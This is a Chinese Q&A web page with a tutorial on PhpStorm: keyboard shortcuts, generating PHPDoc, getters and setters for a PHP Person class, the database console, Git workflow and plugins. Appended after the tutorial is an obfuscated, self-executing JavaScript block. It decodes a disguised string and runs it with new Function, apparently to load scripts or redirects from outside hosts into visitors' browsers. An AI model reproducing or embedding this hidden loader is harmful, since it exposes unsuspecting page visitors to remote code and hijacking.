phpstorm console窗口怎么使用

2025-02-23 01:26:20
推荐回答(1个)
回答1:

  按照惯例依然是从百科上复制一条简介: PhpStorm 是 JetBrains 公司开发的一款商业的 PHP 集成开发工具。PhpStorm可随时帮助用户对其编码进行调整,运行单元测试或者提供可视化debug功能和智能HTML/CSS/JavaScript/PHP编辑、代码质量分析、版本控制集成(SVN、GIT)、调试和测试等功能。另外,它还是跨平台。在Windows和MacOS下都可以使用。PhpStorm-让开发更智能,而不是更困难。
  听说phpStorm 10支持php7呃
  优点
  跨平台。
  对PHP支持refactor功能。
  自动生成phpdoc的注释,非常方便进行大型编程。
  内置支持Zencode。
  生成类的继承关系图,如果有一个类,多次继承之后,可以通过这个功能查看他所有的父级关系。
  支持代码重构,方便修改代码。
  拥有本地历史记录功能(local history功能)。
  方便的部署,可以直接将代码直接upload到服务器。
  总之它很牛逼就是了,什么都能干
  快捷键
  phpStorm有非常非常多并且好用的的快捷键,我下面就举一些经常用的的快捷键演示,还有一些不常用的就不举例了,绝对能提高你开发的效力率...
  (Windows与Mac类似,只要把command键换成ctrl)
  查询相关
  command + f 查找当前文件
  command + r 查找替换
  command + e 打开最近的文件
  command + shift + o 快速查询文件
  command + shift + f 关键字查找,更强大的查询器(机器不好的,最好还是先确定一下目录)
  command + shift + r 高级替换
  command + alt + b 找到当剪类的所有子类
  alt + shift + c 查找最近修改的文件
  alt + f7 直接查询选中的字符
  ctrl + f7 文件中查询选中字符
  command + 鼠标点击 跳到类或方法或变量等声明处
  command + shift + tab 切换tab页文件
  command + shift + +,- 展开或缩起
  command + . 折叠或展开选中的代码
  自动代码
  alt + 回车 导入包,自动修正
  command + n 快事为每个成员属性生成 getter 及 setter 方法
  ctrl + i 快速生成插入魔术方法
  ctrol + o 复写父类方法
  command + alt + l 对当前文件进行格式化排版
  command + d 复制当剪行
  command + / // 注释
  command + shift + / / / 注释
  以command + n举个例子
  我创建了一个Person类在/Entity/目录下,然后我设置一些私有的属性如下代码:
  namespace Entity;
  class Person
  {
  private $sign = '';
  private $name = '';
  private $age = 0;
  private $work = '';
  private $sex = '女';
  }
  然后咱们使用command + n 在弹出来的窗口选择"PHPDoc Blocks..." 如下图:
  再再弹出的窗口选择所有属性再点"OK":
  namespace Entity;
  /**
  * Class Person
  * @package Entity
  */
  class Person
  {
  /**
  * @var string
  */
  private $sign = '';
  /**
  * @var string
  */
  private $name = '';
  /**
  * @var int
  */
  private $age = 0;
  /**
  * @var string
  */
  private $work = '';
  /**
  * @var string
  */
  private $sex = '女';
  }
  然后它就对刚刚所选择属性加上了注释...... 是不是灰常神奇。
  ok,咱们继续,再次使用command + n键选择Contructor...弹出需要进行传参赋值的属性:
  /**
  * Person constructor.
  * @param string $sign
  */
  public function __construct($sign)
  {
  $this->sign = $sign;
  }
  如果不选择的话将不需要对成员属性进行设置。
  然后咱们再来看看其他功能,比如"Implement Methods..."这个是快速生成魔术方法。
  通常咱们设置、获取一个成员属性时最好不要直接使用$person->name = $name 这种方式进行设置参数或取得参数值,建议是对每个属性都开放一个 getter 跟 setter 方法,这样可以很方便得对传进或传出去的值进行处理,这就是上面我为什么要把成员属性设置置为私有的原因之一
  同样的command + n 选择"Getters and Stetters" 然后选择所有属性,它就会把所有的属性设置getter及setter方法,这里要注意的是Person的sign是唯一的,不可进行修改,所以咱们要把设置sign的方法去掉。注意: 最好setter方法设置完后返回当剪对象,这样的话咱们就可以连写了并且phpStorm的提示还相当友好下面有例子:
  /**
  * @return string
  */
  public function getSign()
  {
  return $this->sign;
  }
  /**
  * @return string
  */
  public function getName()
  {
  return $this->name;
  }
  /**
  * @param string $name
  * @return $this
  */
  public function setName($name)
  {
  $this->name = $name;
  return $this;
  }
  /**
  * @return int
  */
  public function getAge()
  {
  return $this->age;
  }
  /**
  * @param int $age
  * @return $this
  */
  public function setAge($age)
  {
  $this->age = $age;
  return $this;
  }
  /**
  * @return string
  */
  public function getWork()
  {
  return $this->work;
  }
  /**
  * @param string $work
  * @return $this
  */
  public function setWork($work)
  {
  $this->work = $work;
  return $this;
  }
  /**
  * @var string
  */
  private $sex = '女';
  /**
  * @return string
  */
  public function getSex()
  {
  return $this->sex;
  }
  /**
  * @param string $sex
  * @return $this
  */
  public function setSex($sex)
  {
  $this->sex = $sex;
  return $this;
  }
  连写的例子:
  use Entity\Person;
  $person = new Person();
  $person->setName("蛋蛋")
  ->setAge(17)
  ->setWork('student');
  最后再演示一个快速复写被继承类的功能。咱们新建一个Man类,然后继承Person类,上面的Person类缺省是女性别,所以我们需要重写它并且加上"中国男人"。同样的使用command + n打开快捷窗口选择 "Override Methods..." 弹出来可被复写的方法:
  然后咱们选择getSex跟setSex方法,然后确定,在Man方法下生成以下方法。
  namespace Entity;
  /**
  * Class Man
  * @package Entity
  */
  class Man extends Person
  {
  /**
  * @return string
  */
  public function getSex()
  {
  return parent::getSex(); // TODO: Change the autogenerated stub
  }
  /**
  * @param int $sex
  * @return $this
  */
  public function setSex($sex)
  {
  return parent::setSex($sex); // TODO: Change the autogenerated stub
  }
  }
  咱们把return parent::getSex()跟return parent::setSex( $age )删除掉,不需要这样,然后改成如下模式。
  /**
  * @return string
  */
  public function getSex()
  {
  if ( ! mb_strpos(parent::getSex(), "中国") )
  return "中国".parent::getSex();
  return parent::getSex();
  }
  /**
  * @param int $sex
  * @return $this
  */
  public function setSex($sex)
  {
  if( ! mb_strpos($sex, "中国") )
  $sex = "中国".$sex;
  return parent::setSex($sex);
  }
  碉堡了有木有。
  工具类等
  看起来好多的样纸,我懒,不想讲可不可以?我就挑几个好不好?
  连拉ssh 照着配就行了,很简单
  composer 这个也很明了吧,不多说了,平时咱们都是通过命令行来实现的
  vagrant 这个phpstorm 10集成了vagrant,介于咱们自己已经搭建好了自己的vagrant环境,就不使用phpstorm所集成的啦
  参考: 《使用Virtual Box和Vagrant搭建开发环境》
  Database 工具
  phpStorm所集成的database工具十分强大,当然它还有单独的database工具叫做: DataGrip,当然需要独立购买,咱们phpStorm有集成,就使用它好啦哈哈....(咱们的PhpStorm可是花钱买的,请支持正版)
  Database工具一般在右侧栏,如果没有的话搜一下就好了,多简单的事儿呀...
  开始创建一个数据库连接吧...
  选择如上图的那个"+"号,然后选择Data Source数据来源,再选择数据库类型,一般咱们都是使用mysql吧,这次咱们试试新的,比如SQLite
  选择sqlite数据文件的地址,然后选择驱动,如果没有的话得先下载安装sqlite的驱动插件,这个很简单,在Driver下有提示,照做就是了...
  咱们先看一下mysql的配制吧...
  mysql的也非常简单,如果需要ssh/ssl连接的话,需要在SSH/SSL选项卡上配配地址入连接密码或sshkey...
  配制好了,打开选择的数据库:
  上图是连接的数据库的表及表字段信息... 来演示一下查询... 点击那"QL"样的dos窗口图标会弹出一个tab页,咱们可以在这里写sql语句。
  咱们查询User表下的所有数据,可以看到会有相当提示,这是相当的好使啊...查询完成后在下面的Database Console上会有显示表数据,可对它进行修改,等等操作增加数据也可以。
  快捷键command + alt + l不但对代码进行格式化,也sql语句也是非常有效的,如上图。
  在"Database Console"栏上点"Output"选项卡可以查看sql语句执行的情况、记录及所消耗的时间等等信息...
  command + 回车 执行sql语句或执行选中的sql语句
  关于database工具的用法还有很多很多,我就不一一讲解了,大家可以自己慢慢去研究,真的非常好用
  CVS 和 Git
  command + k
  command + shift + k
  关于FTP的配制,由于我不推荐使用,所以这里就不多说啦!
  都到这了,那咱们就说说在phpStorm上如何使用git工具吧
  算了,还是举一个例子吧,配辣么多太累了,一会我看下有没有已经配好的,如果有的话一会拉出来截个图看看就行吧,反正现在svn用得也比较少了,还是git用得爽,分布式嘛,离线嘛,多好...关于svn -> git可以参考我之前写的一篇文章
  《将代码库从Svn迁移Git》
  从git服务器上把代码抓到本地
  选择CVS -> Checkout from Version Control -> Git
  在弹出的窗口输入自己的git仓库信息:
  注意 conle 的时间如果没有设置你的github账号的话可能会提示你输入账号信息,咱们输入就行了。如果需要修改的话则在设置里面进行修改,咱们可以使用command + ,打开"Preferences" 然后找到"Version Control"选项目的"GitHub"进行设置,还有"Git"路径。
  从mster创建分支
  创建分支以通过命令行进行创建,咱们可以通过phpstrom的窗口进行创建,如下:
  这个东西在右下角,"Git:master" 然后弹出上面窗口选择"New Branch" 然后输入新分支的名称就好了,它会自动切换到新分支下。
  是不是超级简单呀...
  提交代码至远程分支
  当咱们修改完代码后,咱们需要把代码提交到远程分支上,使用快捷键command + k提交相当修改后的代码,双击文件可以进行对比。在"Commit Message"写上修改的东西然后点提交,这时就把代码提交到本地分支上了。
  不使用快捷键的话,可以使用"CVS -> Commit Changes"提交,也会弹出下面窗口...
  提交到本地分支后,咱们需要把代码推到远程分支上,所以需要使用快捷键: command + shif + k提交远程分支...
  也可以使用"CVS -> Git -> Push"进行提交...效果是一样的
  注意svn木有 command + shift + k这一步
  合并分支
  分并非常简单,只要选择需要合并的分支,然后merge就行了,如下图:
  这样就合并完成,当然,如果有冲突的话会提交有冲突,并让你解决,如果没有的话就直接合并成功了...然后就可以push了......
  Compare 是对合并的分支进行对比...
  使用svn...
  灰常抱歉,我电脑上木有找到相关Svn项目的代码,就不多说了...
  安装插件
  这里讲一个javascript 的安装,使用快捷键cmd + , 打开 Preferances
  安装 JavaScript 插件
  Languages & Frameworks -> Javascript -> Libraries
  选择add需要的框架
  安装symfony2插件,搜索插件,然后点install
  然后重启phpStorm 就完事了....
  注意
  灰色+波浪线: 变量未使用
  黄色波浪线: 变量未名单词拼写问题
  红色波浪线: 变量未定义
  还有好多我就不一一举例了,可能是因为我代码写得太好,出错的东西比较少吧...
  右边栏出现红色,这点是必须要杜绝的,好的代码不应该出现红色的任何提示...一旦出现一定要马上解决,好的代码不应该出现一个黄、红色的提示。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();